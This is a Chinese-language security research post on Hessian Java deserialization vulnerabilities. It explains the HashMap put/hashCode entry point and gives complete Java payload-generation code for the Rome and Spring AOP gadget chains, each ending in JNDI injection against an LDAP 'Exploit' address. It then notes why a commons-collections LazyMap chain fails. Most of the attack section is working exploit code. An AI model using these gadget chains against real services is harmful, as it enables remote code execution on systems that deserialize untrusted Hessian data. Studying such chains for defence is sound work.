前言
无。
Hessian
简介
Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。
可以在 pom.xml 中加入依赖来使用 Hessian:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
简单的序列化和反序列化代码,Data 是个简单的继承序列化接口的类:
public class App {
public static void main( String[] args ) throws Exception {
Data data = new Data("Twings");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(data);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
hi.readObject();
}
}
Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。
Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。
Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):
Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz
反序列化漏洞
Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:
public Object readMap(AbstractHessianInput in) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。
marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。
不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。
Gadgets - Rome
依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>
利用链
- HashMap,put -> hash
- EqualsBean,hashCode -> beanHashCode
- ToStringBean,toString -> getter.invoke
- JdbcRowSetImpl,getDatabaseMetaData -> connect
- JNDI 注入
漏洞利用
可以仿照 apache-commons-collections 的 HashSet 这个 Gadget 的反射生成方式来生成 payload:
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static void main( String[] args ) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(hashMap);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
hi.readObject();
}
Gadges - SpringPartiallyComparableAdvisorHolder
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
利用链
- HashMap,put -> putVal -> equals
这里需要 hash 冲突,所以选择两个相同的类 - HotSwappableTargetSource,equals -> equals
- XString,equals -> toString
- PartiallyComparableAdvisorHolder,toString -> getOrder
- AspectJPointcutAdvisor,getOrder -> getOrder
- AspectJAroundAdvice,getOrder -> getOrder
- BeanFactoryAspectInstanceFactory,getOrder -> getType
- SimpleJndiBeanFactory,getType -> doGetType -> doGetSingleton -> lookup
- JNDI 注入
漏洞利用
这里的生成比较复杂,反射赋值的时候需要从父类中获取 Field,还有则是序列化的时候需要设置允许不继承 Serializable 接口:
package study;
import com.caucho.hessian.io.SerializerFactory;
public class AllowNonSerializableFactory extends SerializerFactory {
}
测试代码:
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = null;
try {
field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
}catch ( NoSuchFieldException e ) {
if (!obj.getClass().getSuperclass().equals(Object.class)) {
field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
}
}
if (field != null) {
field.set(obj, value);
}
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Object createWithoutConstructor(Class clazz) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Constructor constructor = Object.class.getDeclaredConstructor();
constructor.setAccessible(true);
Constructor ctor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
return ctor.newInstance();
}
public static void main( String[] args ) throws Exception {
HashMap hashMap = new HashMap<>();
hashMap.put("replacement1", "Twings");
hashMap.put("replacement2", "Aluvion");
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
BeanFactoryAspectInstanceFactory beanFactoryAspectInstanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFieldValue(beanFactoryAspectInstanceFactory, "name", "ldap://127.0.0.1:1389/Exploit");
AbstractAspectJAdvice aspectJAroundAdvice = (AbstractAspectJAdvice)createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor)createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
Object partiallyComparableAdvisorHolder = createWithoutConstructor(Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"));
setFieldValue(partiallyComparableAdvisorHolder, "advisor", aspectJPointcutAdvisor);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rushB"));
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode0 = hashMapTable[5];
setFieldValue(hashMapNode0, "key", hotSwappableTargetSource1);
Object hashMapNode1 = hashMapTable[10];
setFieldValue(hashMapNode1, "key", hotSwappableTargetSource2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
AllowNonSerializableFactory serializableFactory = new AllowNonSerializableFactory();
serializableFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializableFactory);
ho.writeObject(hashMap);
byte[] serializedData = bos.toByteArray();
ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
HessianInput hi = new HessianInput(is);
System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
hi.readObject();
}
Gadgets - SpringAbstractBeanFactoryPointcutAdvisor
与上一条类似,触发 AbstractPointcutAdvisor 的 equals 方法,接上 SimpleJndiBeanFactory 的 getBean 然后进入 lookup,JNDI 注入。
Gadgets - 其他两条
懒得仔细看了,看起来比较简单。
后记
尝试将 apache commons collections 的利用链修改后使用,结果发现 Map 的反序列化有点问题,利用失败,具体原因就是在获取 Deserializer 的时候,会因为无法获取到 LazyMap 的 Deserializer 来到这一步:
else if (Map.class.isAssignableFrom(cl)) {
deserializer = new MapDeserializer(cl);
}
而在 MapDeserializer 类实例化的时候,会传入要反序列化类的无参构造方法:
public MapDeserializer(Class<?> type)
{
if (type == null)
type = HashMap.class;
_type = type;
Constructor<?> []ctors = type.getConstructors();
for (int i = 0; i < ctors.length; i++) {
if (ctors[i].getParameterTypes().length == 0)
_ctor = ctors[i];
}
if (_ctor == null) {
try {
_ctor = HashMap.class.getConstructor(new Class[0]);
} catch (Exception e) {
throw new IllegalStateException(e);
}
}
}
而 LazyMap 类是没有无参构造方法的,所以最后会将构造方法设置为 HashMap 的构造方法,最后到了 readMap 方法的实例化时,实例化出来的就是个 HashMap 类,而不是我们需要的 LazyMap。
参考文章:
https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html